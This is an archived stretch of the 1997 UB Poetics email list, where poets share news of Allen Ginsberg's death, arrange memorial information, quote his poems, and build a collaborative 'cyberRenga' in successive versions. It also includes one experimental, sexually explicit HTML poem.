↑ Index

101. Miekal And
Re: Allen Ginsberg +
Sat 5 Apr 1997

hath die
sly bath
died live
as death
live as
who those
lips kiss

miekal

↑ Index

102. KENT JOHNSON
Memorial services
Sat 5 Apr 1997

Does anyone have information on memorial and funeral services for Allen? Gary Snyder is scheduled to be here to read this coming Friday, and obviously the sudden news may change all that. I have left a message for Gary, but he can be hard to get. Any information would be greatly appreciated.

And Charles Bernstein: thank you.

Kent

↑ Index

103. **simon**
Re: Time Change
Sat 5 Apr 1997

I like the assertion that Indianapolis will up and move to the central time zone. How mobile, and when you think that even for indiana, the polis outs the right, and as for crhistians, as my grandmother would say, don't ask, how breezy of it.

The rest of the state (exc a cple of counties where they don't play with snakes in church) has to stay where it is, here, and go on with the same old god's own time, which is, and we have it on the best authority, right now, eastern time. Of course, when the rest of the eastern time goes on daylight, the true eastern reads suspiciously like central. But that's the east for you. Central. Don't trust it. One of those deictics with a u-haul index.

beth

↑ Index

104. **KENT JOHNSON**
Re: apology
Sat 5 Apr 1997

> *From: Self <STUDENT/KJOHNSON>*
> *To: David Israel <[redacted]>*
> *Subject: Re: apology*
> *Date sent: Sat, 5 Apr 1997 20:03:10 +0600*
>
> *But wait: would Allen Ginsberg have wished us to be silent or to write? Everyone in their own time and at their own speed, of course, but David, you haven't been inappropriate or superficial. Let's not legislate a "correct" mode of grieving or honoring here! Silence is good and so is writing. The Dharma is capacious enough to hold both-- as if they weren't one and the same...*
>
> *The moment is difficult and strange to be sure, but beautiful.*
> *Allen is beautiful.*
>
> *Kent*
>
> *Date sent: Sat, 5 Apr 1997 20:39:38 -0400*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: David Israel <[redacted]>*
> *Subject: apology*
> *To: [redacted]*

> *Someone pointed out to me, backchannel, the inappropriateness of my superficial dabbling with the cyberRenga, given the gravity of the circumstances & the need for due silence (a paraphrase). This corrective holds much sense.*
>
> *To any whom my several posts (or line-appropriations) today may have seemed unseemly or offensive, kindly accept my adject apology.*
>
> *yours,*
> *d.i.*
>
> *p.s. Susan Wheeler just now writes:*
> *Buddhist services Monday, and Jewish Tuesday*
>
> *in appropriationist mode, that's seem a candidate; but "enough" (quoth Francis Brabazon) "has been far too much"*

↑ Index

105. **Rachel Loden**

Re: poem

Sat 5 Apr 1997

Now I believe you are lovely, my soul, soul of Allen, Allen-- and you so beloved, so sweetened, so recalled to your true loveliness, your original nude breathing Allen will you ever deny another again?

from "Sather Gate Illumination"

David Bromige wrote:
>
> ALLEN GINSBERG
>
> like David Bromige
> Kent Johnson
> Maria Damon
> & Wayne Gretzsky
>
> not dead yet

↑ Index

106. **Herb Levy**
Re: Ah
Sat 5 Apr 1997

> *Does the Mode double-CD version have the complete spoken 120 page version of the writing through the wake? In the Wergo version, there is a 14 minute solo for the 40 page reduction, the same one that he reads in the hour-long horspiel (Writing through the wake for the second time).*

The Mode set includes the whole text in both audio & print form, though the printed text is in extremely tiny type, even by CD booklet standards - it looks like a photo-reduction of the first publication, including the scattered punctuation marks.

Herb Levy
[redacted]

↑ Index

107. **Alan Jen Sondheim**
Allen Ginsberg +
Sat 5 Apr 1997

WCBS just announced Allen Ginsberg has died.

Alan

↑ Index

108. **Joseph Zitt**
Re: Allen Ginsberg
Sat 5 Apr 1997

Wendy Battin wrote:
>
> On Fri, 4 Apr 1997, KENT JOHNSON wrote:
> > for it is not to be spoken of. Now since death is so pornographic,
> > what will be the first line of this renga?
>
> Now, since death is so pornographic, where can they sell it?

OK, a first line:

    Now, since death is so pornographic,

BTW, if a renga evolves, I *will* keep on top of this one and try to make it into a hypertext as it goes along. -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas!

========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

↑ Index

109. **Maria Damon**
Re: Allen Ginsberg
Sat 5 Apr 1997

>KENT JOHNSON wrote:
As if that would be a terrible thing? Oh, awful death. Let us not,
>> > > for it is not to be spoken of. Now since death is so pornographic,
>> > > what will be the first line of this renga?
>> > >
>> > > ketn>

spare me your sarcasm, you don't know anything about my experiences with death or anything else for that matter.

↑ Index

110. **nuyopoman**
Allen Ginsberg's Death
Sat 5 Apr 1997

Kent, it is never too late to stop and not smell the cat's milk. Please, Loss, cut "smelling of" and let cat's milk simply be cat's milk (my opinion, good edit). First thought, Second thought...

I was 15, New Richmond, Ohio, 1964, cursing under breath, weeding the weekly chore, HOWL Pocket Poets Series in back pocket, touchstone of sanity, poetry.

Bob Holman

↑ Index

111. **nuyopoman**
Re: Ginsberg's Death
Sat 5 Apr 1997

The harmonious roar. Words hollowed out for Life to fill

↑ Index

112. michael corbin
Re: Allen Ginsberg +
Sat 5 Apr 1997

Alan Jen Sondheim wrote:
>
> WCBS just announced Allen Ginsberg has died.
>

R.I.P.

"Ah, dear father, graybeard, lonely old courage-teacher, what America did you have when Charon quit poling his ferry and you got out on a smoking bank and stood watching the boat disappear on the black waters of Lethe?"

(A Supermarket in California)

mc

↑ Index

113. Alan Jen Sondheim
Re: Allen Ginsberg
Sat 5 Apr 1997

On Sat, 5 Apr 1997, KENT JOHNSON wrote:

> *I feel really weird. Is anyone else out there crying too?*
>
> *Kent*

Yes - many of us -

Alan

↑ Index

114. Alan Jen Sondheim
html-body
Sat 5 Apr 1997

(The two pieces below were to have been sent out with the html page sent yesterday; I hesitate to send them today, but they're commentary that explains the other post. I apologize as well for the obscurity of this stuff; it's concerned directly with the poetics of cyberspace, an area that's still little explored. I promise to cut back here.)

HTML-BODY: Explanation

<!--Alan writes his desires; Jennifer receives the page-->
<!--Agreeable Alan dreams his way across Jennifer-->
<!--Writing, punctuated by warnings, corrupts his body-->
<!--"You are ALL TEXT," Jennifer says-->
<!--"There's nothing to me," Agreeable Alan-->

Another experiment in wryting the html body, exp.htm uses _alert_ buttons among the viewer, "Jennifer," and "Alan"; links and targets simply shudder the page slightly, as if a tremor went through the body. Certain links leave text altogether, sink to the lower and blank margins of the page, a non-inscriptive ground, divided by a series of horizontal lines / plateaus from the body of the text. And the body itself turns on the phrase "you spread me on your screen," like jelly, like jam, like roadkill or sexual arousal - a phrase which appears through the majority of alerts.

The mouse moves across the field, stumbling over the poor simulacrum of skin, the body with organs (BWO), javascript, html, tcp/ip. One _enters_ the text, alerts protrude, freeze the body until cancelled. And as for the rest? The surface? Speaking less than the interior, but hardly less intel- ligent or inscribed; the surface in fact is an intelligent surface, blank of image, refusing to give way _beneath._

Because of the nature of email lists, these accounts have used at most two text files; other html-body-works here, it can only be noted, use up to 35 files, border on obscenity, and can't be introduced here. It is not that I desire blind-html, imageless, text-hysteric; it's that there is an addi- tional dialog, with email, that reconstructs the possible.

------(lynx treats the file as broken form, filled example, below)------

it hurts you

spreading jelly_____ open my breast_____ splay my skins_____ cut me a river_____ fuck me forever_____ sing to me my song__ suck my nipple jam__ hold me, darling____ Murmur you aren't more, Alan. turn me into holy hole comfort me smoothly_ use my writing___ wet my deep throat__ dry my labia milk___ kill me in lactate__ hurt me, leave me___ wound me, suture me_ amputate my mind____ burn me into coiling roll enter me quickly____ heal my birthing____ love me with pain___ call me jennifer____ be me alan_____ hug me, finger me___ kiss me, crush me___churn me into soiling hole open my womb_____ play with my cunt___ lie with my cock____ be with me be be me_ eat me or eat me____ cry me a river_____ write with placenta_ run with me alan____ my twisted mind brings you whisper fuck to me__ shit for me darling_ talk to me jennifer_ get to me quicken___ yearn for me alan___ pine for me jennifer piss for me alan____ come to me murmur___against my toiling folds _____

_____
_____
_____
_____ (Text entry field) Enter text. Use UP or DOWN arrows or tab to move off.

_____

↑ Index

115. **Mark Weiss**
(no subject)
Sat 5 Apr 1997

Strange how the sudden announcement of the death hits so hard, even though its imminence was known before. One had thought to have a few months to prepare for it, as if preparation for anyone's death were ever possible. But to say goodbye. Anything by way of poetry more specific to this death on the part of those who were not his intimates is likely to ring with the hollowness of funeral elegies. Among Jews the ritual of sitting shive--a week of visiting with the family, who stay at home, cared for by others, and receive vistors--is accompanied by the ritual, tho unprescribed, telling of anecdotes about the dead, most often of a comic or endearing nature. The memory of other deaths invariably present. But even that degree of commentary has to wait the 24 hours until after the burial--time for a few deep breaths. The shock of intimate loss is incoherent, the building of verbal monuments by others at that point unseemly. Elegies are made of stone, and headstones aren't placed at Jewish graves until a year after the death, which is supposed to mark the end of mourning, although in my experience it doesn't so much end as mature. I guess what I'm saying is that a little silence right now might go a long way. The media will clobber us with enough noise about this. Liver cancer is a horrible way to die. I hope he got some help.

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116. **Maria Damon**
Re: Allen Ginsberg
Sat 5 Apr 1997

At 1:04 PM +0600 4/5/97, KENT JOHNSON wrote:
>I didn't mean to offend. But I apologize, because the message was
>silly and unnecessary. I'm sitting here now, just having read Alan
>Sondheim's post. I feel really weird. Is anyone else out there crying
>too?
>

>Kent
>

not yet. just having a quiet time. it's raining outside, like it's crying in my heart; what *is* this lethargy that penetrates my heart? must be grief.

↑ Index

117. **Pritchett,Pat**
Re: Allen Ginsberg
Sat 5 Apr 1997

I'm with you Kent & Alan. Listening right now to P. Glass's "Wichita Vortex Sutra" which sounds all of a sudden like ave atque vale.

And I'm truly surprised by how hard and how deeply Allen's death is affecting me. I've driven around town today in a weird daze, everything feeling and looking uncanny, as if a great silent shockwave had passed through the world and nobody's noticed, nobody's noticed at all. And everything is the same and goes on being the same, just as it ought. It ought to be the same. Only it isn't and it can't be. But it's the same all the same and only this very weird feeling of a tiny vacuum at the center of things.

I never knew Allen; only brushed by him twice in passing as it were. The first time was 1989 at City Lights, the day before the quake and the Series and I was handing out copies of a miserable poetry rag I'd put together and which is best forgotten but we bumped into each other at the crowded front counter and naturally being alert for favorable omens I was delighted. The second time was last year in Anselm Hollo's backyard where I found myself sitting, rather like Aldon, apart from the main group, on a lawn chair, and Allen and his nephew I guess it was Al came up and joined my wife and I and Lindsay Hill. We were all eating veggie burgers and watermelon and I thought how frail Allen looks and then he and Lindsay talked a bit about somebody's mother, maybe it was Steven Marks'? maybe not - the name has faded. He was wearing bright red suspenders which I put into a poem a few days later. And that was all very funny really since I'd panned his last book in a brief review I'd done for the Daily Camera and was mortally afraid to introduce myself in case someone had told him about it and that review was how Anselm Hollo and I met, by vigourous exchange of letter, and eventually led me to joining the list so I owe it this chance of expression and amends I guess in retrospect to my hubristic attempt to take Allen Ginsberg down a notch what a silly thing to do and I will miss him who else has done more for poetry and there should be a state funeral if there was such a thing as a state with honor that could see itself that way but then what need for Allen Ginsberg except the example of his beauty and anyway such

ceremonies are deceptive flatteries that cannot take the place or can they of real grieving as this list will do very nicely even better for that I say.

I intend to get drunk tonight and watch Jerry Aronson's "The Life & Times of Allen Ginsberg."

GINSBERG AT 70

Dharma Lion thin
now, skin a little
sallow.

Huddles over veggie burger
on the half bun,
pink crescent of watermelon
shining on plate
        (adjunct to Gemini).

Big red X of suspenders
marks the spot on his back
as if to say,
here it is folks, look no farther:
the matchless candor of the human heart.

On Sat, 5 Apr 1997, KENT JOHNSON wrote:

> *I feel really weird. Is anyone else out there crying too?*
>
> *Kent*

Yes - many of us -

Alan

↑ Index

118. David Israel
cyberRenga for Ginsberg
Sat 5 Apr 1997

Back to the Renga

The renga so far (as best I can put it together --
from going through yesterday's & today's posts).
[Please see notes below, for (a) attributions and (b) some
explanations.]

RENGA

1| pull my daisy, poet
2| Happening to notice the willow leaves in the garden, a braille page of words
3| the wind a simultaneous translation
4| the sorority girls sing of fucking in a plaintive way
5| nothing has happened, no one has died
6| brushed silk blouses darkening in the midday heat, dank hyacinths
7| beside a bowl of old cat's milk, Jeniffer weeps
8| the stars seemed more acute as we turned back toward the town
9| I'm sitting here now, just having read Alan Sondheim's post
10| I feel really weird. Is anyone else out there crying too?
11| not yet. just having a quiet time.
12| it's raining outside, like it's crying in my heart
13| what *is* this lethargy that penetrates my heart? must be grief.
14| we were all eating veggie burgers and watermelon and I thought how frail Allen looks
15| circa '67, strange chanting on TV -- I was eleven & wide-eyed
16| According to Usenet, Ginsberg's body is lying in state
17|
18|

~~~~~~~~~~~~~~~~~~~~~~~

writers/sources of the above lines:

1: Daniel Zimmerman
2: Kent Johnson
3:? Daniel Zimmerman
4: Kent Johnson
5: Alan Jen Sondheim
6: Daniel Zimmerman
7: Kent Johnson
8: Aldon L. Nielsen
9: Kent Johnson
10: Kent Johnson
11: Maria Damon
12: Maria Damon
13: Maria Damon
14: Pat Pritchett
15: David R. Israel
16: Kenneth Goldsmith
~~~~~~~~~~~~~~~~~~~~~~~

17:
18:

Some cyberRenga comments:

Note A:
~~~~~~~~~~
Date: Fri, 4 Apr 1997 22:50:44 +0600
From: KENT JOHNSON
<[redacted]>
Subject: renga

can one take back something in cyber-renga? for example, in the line "beside an old bowl smelling of cat's milk, Jenniffer weeps," the 'smelling' is unnecessary.

Or is it too late? kent
~~~~~~~~~~
d.i.'s comment: sure, if one is the author thereof (as is true here).

Note B:
~~~~~~~~~~
Date: Fri, 4 Apr 1997 23:55:16 -0500
From: Alan Jen Sondheim <[redacted]>
Subject: Re: renga

Perhaps the beginnings at this point should be rewritten,
restarted; everything is fluid here, fissured, uninscribed -

Alan
~~~~~~~~~~
d.i.'s comment: the beginning was the beginning (& seems
perhaps a good one). And things developed from that (& seem
good, too). How about if we proceed & see where it goes?

Note C:
~~~~~~~~~~
Date: Fri, 4 Apr 1997 22:05:34 -0800
From: "Aldon L. Nielsen" <[redacted]>
Subject: Re: elephant's memory

I've been away from the list for a while -- but will say this -- . . .

<snip> [an excellent anecdote from Nielson followed, and
concluded with this solitary line]:

the stars seemed more acute as we turned back toward the town
~~~~~~~~~~ d.i.'s comment: that last line seems in the spirit of the renga,
ergo I'm putting it in as the NEXT renga line (which is line 8, where I've put it --
see above). Alright with you, Aldon? (Okay w/ others?)

Note D:
~~~~~~~~~~
Date: 04/05/97 06:20pm
From: Maria Damon <[redacted]>>>>
Subject: Re: Allen Ginsberg

At 1:04 PM +0600 4/5/97, KENT JOHNSON wrote:
>I didn't mean to offend. But I apologize, because the message
was
>silly and unnecessary. I'm sitting here now, just having read
Alan
>Sondheim's post. I feel really weird. Is anyone else out there
crying
>too?
>
>Kent
>

not yet. just having a quiet time. it's raining outside, like it's crying in my heart; what *is* this lethargy that penetrates my heart? must be grief.
~~~~~~~~~~ d.i.'s comment: by way of "found poetry" (or "found cyber-renga lines"), I'd like to propose incorporating lines from these posts nto the renga.

Question as to form: [In present instance at least], is it alright to have 2 (or even 3) lines in succession from the *same* poet? I'm rather vague on "renga rules," but suspect this had not been traditionally done. Still, if nobody objects, I'll lift a some lines in succession from the above. [See the results, and then judge.]

(Others may edit, as suitable.)

Caveat: naturally, respective poets can vito, edit, or whatnot. I'm just tinkering here for this portion of the cyberrenga -- then will forthwith (in fact, hereby) send downstream for others. So we have from Kent J, lines 9-10), and Maria D, lines 11-13.

Note E:
~~~~~~~~~~
Date: 04/05/97 06:28pm
From: Pritchett,Pat @Silverplume
<[redacted]>Subject: Re: Allen Ginsberg

I'm with you Kent & Alan. Listening right now to P. Glass's "Wichita Vortex Sutra" which sounds all of a sudden like ave atque vale.
~~~~~~~~~~

And I'm truly surprised by how hard and how deeply Allen's death is affecting me. <snip> I never knew Allen; only brushed by him twice in passing as it were. <snip> . . . The second time was last year in Anselm Hollo's backyard where I found myself sitting, rather like Aldon, apart from the main group, on a lawn chair, and Allen and his nephew I guess it was Al came up and joined my wife and I and Lindsay Hill. We were all eating veggie burgers and watermelon and I thought how frail Allen looks . . . ~~~~~~~~~~ d.i.'s comment: Pat, would you permit me to put that last line into the renga above? (That becomes, here, renga line 14.)

Note F: Okay, I'm putting in my own line (line 15) at this piont.

/ / / / /

Folks: will this work, as method? Care to take it up & go further?

(The fact that the death-announcement occurred mid-Renga
does render this a unique cyberRenga, I'd say.)

Do consider Sondheim's suggestion of not including ENTIRE
posts, but just clipping out the renga & adding a line to it. The
method he suggests -- "forrwarding" rather than "replying" is one
way to avoid the carets. (Or: whatever.)
- David R. Israel

post-script:

Note G: (this just in)
~~~~~~~~~~
Date: 04/05/97 07:02pm
From: Kenneth Goldsmith <[redacted]>
Subject: Ginsberg's Body Lies in State

According to Usenet, Ginsberg's body is lying in state . . .

I'll put that in as line 16.

best,
d.i.

↑ Index

119. **Joseph Zitt**
Re: renga
Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> can one take back something in cyber-renga? for example,
~~~~~~~~~~

> in the line "beside an old bowl smelling of cat's milk,
> Jenniffer weeps," the 'smelling' is unnecessary.
>
> Or is it too late?
> kent
I'll note it as such in the hypertext.

-- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt =====
[redacted] ===== Human Systems \||| ||/ Austin, Texas! ==========
SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt ==
<*> <*> == Empty Words == ecto \|

↑ Index

120. David Israel
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Folks,

having sent out that back-to-cyberRenga post (& then reread same), realize I was amiss re: the 2 & 3 line entries -- (both for reason of form and bec. the single lines seem to work better).

Ergo -- PLEASE NOTE -- here's a revised version. (ok?)

best,
d.i.

////////////////////////////////

RENGA

1| pull my daisy, poet
2| Happening to notice the willow leaves in the garden, a braille page of words
3| the wind a simultaneous translation
4| the sorority girls sing of fucking in a plaintive way
5| nothing has happened, no one has died
6| brushed silk blouses darkening in the midday heat, dank hyacinths
7| beside a bowl of old cat's milk, Jeniffer weeps
8| the stars seemed more acute as we turned back toward the town
9| I feel really weird. Is anyone else out there crying too?
10| it's raining outside, like it's crying in my heart
11| we were all eating veggie burgers and watermelon and I

thought how frail Allen looks
12| circa '67, strange chanting on TV -- I was eleven & wide-eyed
13| According to Usenet, Ginsberg's body is lying in state
14|
15|
16|
17|
18|
19|
20|

~~~~~~~~~~~~~~~~~~~~~~~~
authorial notes:

1: Daniel Zimmerman
2: Kent Johnson
3:? Daniel Zimmerman
4: Kent Johnson
5: Alan Jen Sondheim
6: Daniel Zimmerman
7: Kent Johnson
8: Aldon L. Nielsen
9: Kent Johnson
10: Maria Damon
11: Pat Pritchett
12: David R. Israel
13: Kenneth Goldsmith
14:
15:
16:
17:
18:
19:
20:

↑ Index

121. Charles Bernstein
Allen Ginsberg (1926-1997)
Sat 5 Apr 1997

Piping down the valleys wild
Piping songs of pleasant glee
~~~~~~~~~~~~~~~~~~~~~~~~

On a cloud I saw a child..
And he laughing said to me.

Pipe a song about a Lamb:
So I piped with merry chear,
Piper pipe that song again
So I piped he wept to hear.

Drop thy pipe thy happy pipe
Sing thy songs of happy chear
So I sung the same again
While he wept with joy to hear.

Piper sit thee down and write
In a book that all my read --
So he vanish'd from my sight,
And I plucked a hollow reed

And I made a rural pen,
And I stain'd the water clear,
And I wrote my happy songs,
Every child may joy to hear

↑ Index

122. Kenneth Goldsmith

Ginsberg's Body Lies In State

Sat 5 Apr 1997

According to Usenet, Ginsberg's body is lying in state at:

Shambhala Center
118 W.22nd St.
NYC

Usenet advises to call first: [redacted]

+==========
==========+ Kenneth Goldsmith work:
http://www.ubuweb.com 611 Bway, #702, NYC 10012 v.[redacted]

--------> editor UbuWeb ViSuAL COncReTE & SoUNd PoEtRy
http://www.ubuweb.com/vp <----------

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123. David Israel
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Here's, now (w/ your collective permission):

proposed (VERSION #3) cyberRenga (so far)

Pat Pritchett rightly notes:
~~~start~~~
04/05/97 07:48pm >>>

Looks fine to me except what about Wendy Battin's line: Now since death is so pornographic where can they sell it? which I thought was the first line but wld also do fine as line 17. ~~~end~~~

yes, good catch. (And daresay that line prob. works better than the daisy line for line 1). I'll put it in & readjust accordingly.

best,
d.i.

p.s.: just got Peter Jaeger's quotation of lines from Ginsberg himself. Allowing (majorly) for principle of serendipity, I've added the final line from that excerpt (now line 15, see below).

Okay, now I'll turn this back over to you'all.

//////////////////
RENGA

1| Now since death is so pornographic where can they sell it?
2| pull my daisy, poet
3| Happening to notice the willow leaves in the garden, a braille page of words
4| the wind a simultaneous translation
5| the sorority girls sing of fucking in a plaintive way
6| nothing has happened, no one has died
7| brushed silk blouses darkening in the midday heat, dank hyacinths
8| beside a bowl of old cat's milk, Jeniffer weeps
9| the stars seemed more acute as we turned back toward the town
10| I feel really weird. Is anyone else out there crying too?
11| it's raining outside, like it's crying in my heart
12| we were all eating veggie burgers and watermelon and I thought how frail Allen looks
13| circa '67, strange chanting on TV -- I was eleven & wide-eyed
~~~

14| According to Usenet, Ginsberg's body is lying in state
15| Now at last I can speak to you beloved brothers of an
unknown moon
16|
17|
18|
19|
20|
21|

~~~~~~~~~~~~~~~~~~
authorial notes:

1: Wndy Battin
2: Daniel Zimmerman
3: Kent Johnson
4: Daniel Zimmerman
5: Kent Johnson
6: Alan Jen Sondheim
7: Daniel Zimmerman
8: Kent Johnson
9: Aldon L. Nielsen
10: Kent Johnson
11: Maria Damon
12: Pat Pritchett
13: David R. Israel
14: Kenneth Goldsmith
15: Allen Ginsberg, *Kaddish* (via Peter Jaeger's post)
16:
17:
18:
19:
20:
21:

(kindly join)

↑ Index

124. **David Israel**
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Erratum (typo):
~~~~~~~~~~~~~~~~~~

> *authorial notes:*
>
> *1: Wndy Battin*

that should be:
1: Wendy Battin

-d.i.

↑ Index

125. **David Israel**
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Grant Jenkins writes --

<<Perhaps a passage from Ginsberg himself would go nicely here:

Strange now to think of you, gone without corsets & eyes, while I
walk on the sunny pavement of Greenwich Village. . . .
[quote continues . . .] --from *Kaddish* >>

Grant, as you'll have noted (before you read these words), in latest update (my so-called "version #3"), a line from Kaddish *was* put in as (new) line #15.

Also agree it would be fine to put in more from Ginsberg and Kaddish. Must say, as I'm "learning on the fly" here abt. cyberRenga form, I do feel it's best to always alternate poets w/ lines -- if not in some oldworld orderly way (i.e., poet a, b, c, a, b, c, etc.) at least not havving any aa's or bb's -- ergo, how about, Grant, you select a line of Ginsberg's (from your noted selection) and put it in yourself? -- hopefully by time you do that, someone will have added another line (new line 16 [or, et seq.]), so that we won't have Ginsberg *immediately* following Ginsberg . . . but yes, I'm sure there's room for many lines from him -- & in a cyberRenga, I suppose the addition of such lines depends on the poster/poets -- submit a line of your own or (in some cases) of Ginsberg's (or even others' -- in fact, to get that ball rolling, I'll put in a line from Gary Snyder right now . . .!) --

Note re: the Snyder line (from poem "High Quality Information"): this is from memory. Though it's a fave poem, not sure I recall the line aright (a word or two might be off -- so it can to be corrected later by someone with a book -- it's from North Point Press vol. *Left Out in the Rain*).

Also to note: it's great that Joseph Zitt is doing the web-based hypertext on this. As for me, I expect to be getting on an airplane (to Calif.) in abt. 9 hours -- & thus prob. won't be able to check out the website (or the further renga-route) for a certain while.

"om shantih"
d.i.

(now I return the Renga to you'all -- e.g., Grant?, or anyone else)

/ / / / \ \ \ \ / / / / \ \ \ \ / / / / \ \ \ \

****
Version #4 cyberRenga
****

RENGA

1| Now since death is so pornographic where can they sell it?
2| pull my daisy, poet
3| Happening to notice the willow leaves in the garden, a braille page of words
4| the wind a simultaneous translation
5| the sorority girls sing of fucking in a plaintive way
6| nothing has happened, no one has died
7| brushed silk blouses darkening in the midday heat, dank hyacinths
8| beside a bowl of old cat's milk, Jeniffer weeps
9| the stars seemed more acute as we turned back toward the town
10| I feel really weird. Is anyone else out there crying too?
11| it's raining outside, like it's crying in my heart
12| we were all eating veggie burgers and watermelon and I thought how frail Allen looks
13| circa '67, strange chanting on TV -- I was eleven & wide-eyed
14| According to Usenet, Ginsberg's body is lying in state
15| Now at last I can speak to you beloved brothers of an unknown moon
16| following cracks tracing threads guessing where the road goes
17|
18|
19|
20|
21|

~~~~~~~~~~~~~~~~~~ authorial notes:

1: Wndy Battin
2: Daniel Zimmerman
3: Kent Johnson
4: Daniel Zimmerman
~~~~~~~~~~~~~~~~~~

5: Kent Johnson
6: Alan Jen Sondheim
7: Daniel Zimmerman
8: Kent Johnson
9: Aldon L. Nielsen
10: Kent Johnson
11: Maria Damon
12: Pat Pritchett
13: David R. Israel
14: Kenneth Goldsmith
15: Allen Ginsberg, *Kaddish* (via Peter Jaeger's post)
16: Gary Snyder (from "High Quality Information" -- via David R. Israel's post)
17:
18:
19:
20:
21:

(kindly join)

↑ Index

126. **Pritchett,Pat**
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Looks fine to me except what about Wendy Battin's line:
Now since death is so pornographic where can they sell it?
which I thought was the first line but wld also do fine as line 17.

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127. **Peter Jaeger**
Allen Ginsberg
Sat 5 Apr 1997

I write you a poem long ago
already my feet are washed in death
Here I am naked without identity
with no more body than the fine black tracery of pen marks on soft paper
as star talks to star multiple beams of sunlight all the same myriad
    thought
in one fold of the universe where Whitman was
and Blake and Shelley saw Milton dwelling in a starry temple brooding in

his blindness seeing all -
Now at last I can speak to you beloved brothers of an unknown moon

from "POEM Rocket" in Kaddish

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128. David Israel
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Joseph--

<< I've started saving the messages into a Filemaker database, and tomorrow will (with the help of Tim Wood, also of this list) be creating scripts to turn this into an evloving Web site, at a URL I'll point y'all to. The hypertext is almost required to handle the branching of the texts; besides, it's an interesting challenge:-) >>

Thanks for the note. Do hope it proceeds & goes well. (I'll be heading out of town in less than 10 hours, so I might not be back with this for a some while . . .)

I guess it's mainly the fact that the renga starting happening on eve (& then in the midst) of the descent of the "news," that might lend it particular note. I can also understand the poss. reticence of some to chime in at this point. (Perhaps it'll revive, as might be felt appropriate, in course of next few days . . .)

best,
d.i.

↑ Index

129. Joseph Zitt
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

David Israel wrote:
>
> Here's, now (w/ your collective permission):
>
> proposed (VERSION #3) cyberRenga (so far)

I've started saving the messages into a Filemaker database, and tomorrow will (with the help of Tim Wood, also of this list) be creating scripts to turn this into an evloving Web site, at a URL I'll point y'all to. The hypertext is almost required to handle the branching of the texts; besides, it's an interesting challenge:-)

---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

↑ Index

130. David Israel
apology
Sat 5 Apr 1997

Someone pointed out to me, backchannel, the inappropriateness of my superficial dabbling with the cyberRenga, given the gravity of the circumstances & the need for due silence (a paraphrase). This corrective holds much sense.

To any whom my several posts (or line-appropriations) today may have seemed unseemly or offensive, kindly accept my adject apology.

yours,
d.i.

p.s. Susan Wheeler just now writes:
>Buddhist services Monday, and Jewish Tuesday

in appropriationist mode, that's seem a candidate; but "enough" (quoth Francis Brabazon) "has been far too much"

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131. Aldon L. Nielsen
Re: the rhythm, the rhythm
Sat 5 Apr 1997

Don't know which Ray Charles song it was that Ginsberg was listening to -- but Charles's big hit of that day went to the rhythm and melody of: "There's a man going 'round taking names"

As Charles transmuted the sacred into the erotic ("I got a woman, way across town, she's good to me") -- Ginsberg must have heard a kindred spirit

pg. 144 of the journals (early 50s/60s):

The Eye of Everything: to be a photo of
  Allen Ginsberg

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132. Grant Jenkins
Re: cyberRenga for Ginsberg
Sat 5 Apr 1997

Perhaps a passage from Ginsberg himself would go nicely here:

Strange now to think of you, gone without corsets & eyes, while I walk on the sunny pavement of Greenwich Village.

downtown Manhattan, clear winter noon, and I've been up all night, talking, talking, reading Kaddish aloud, listening to Ray Charles blues shout blind on the phonograph

the rhythm the rhythm--and your memory in my head three years after--And read Adonais' last triumphant stanzas aloud--wept, realizing how we suffer--

And how Death is that remedy all singers dream of, sing, remember prophesy as in the Hebrew Anthem, or the Buddhist book of answers--and my own imagination of a withered leaf--at dawn--

Dreaming back thru life, Your time--and mine accelerating toward Apocalypse,

the final moment--the flower burning in the Day--and what comes after. . .

--from *Kaddish*

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133. Susan Wheeler
Re: Memorial services
Sat 5 Apr 1997

Buddhist services Monday, and Jewish Tuesday. Will forward more details as they come in.

Susan Wheeler

> *Does anyone have information on memorial and funeral services for Allen? Gary Snyder is scheduled to be here to read this coming Friday, and obviously the sudden news may change all that. I have left a message for Gary, but he can be hard to get. Any information would be greatly appreciated.*
>
> *And Charles Bernstein: thank you.*
>
> *Kent*

↑ Index

134. shoemakers

Re: Allen Ginsberg / No Apologies

Sat 5 Apr 1997

No need for apologies, David, as far as I can see. And there was nothing "superficial" about your "dabbling"--that's just *writing*. I think Kent's right that everyone will deal with the news in their own way, and in their own time. As it happens, I feel like writing--out of the sense expressed by others of Allen's death sudden and hard, harder even than might have been expected. I saw/heard Allen "live" on two occasions, most recently at the Orono Confernece in '93. There, thanks to Burt Hatlen's generosity, I got the chance to introduce Allen's tandem reading with Carl Rakosi. That double reading was a moving & beautiful event for me, a bridging and spanning of poetic lives & energies drawing on experience of the better part of the century (Carl 88 at the time). The other time I heard Allen read was when i was an undergrad at U of MD, College Park, ca. '83 or '84. I think Allen must have read, or rather performed, for about an hour and a half or 2 hours--reciting, chanting, singing & playing that little harmonium--or whatever it's called. As i recall, he did it all from memory, no recourse at all to the printed word, a real bard--something i have not heard/seen anyone do since. I made a tape, using a cheap little portable recorder, and just now, remarkably, i managed to dig this tape out of an old box of junk. I rewound it to the beginning of a side, which turned out to be side 2, coming in somewhere in the middle of the reading. The first words are Allen asking a question "Go on...?" asking the audience whether he shld keep going, and the crowd responding w/ rousing affirmation. (As i remember it, it was a not very large room filled to overflowing, people standing in the corners & sitting on the floors, spilling out into the halls--the tape is full of sounds of people gabbing, chatting & laughing between & sometimes during poems.) Then Allen begins talking about the death of his father from cancer, & reads 2 sections from "Don't Grow Old," and then sings/plays "Father Death Blues." My first listen-thru to this sitting at the kitchen table sent a chill up my spine, & then 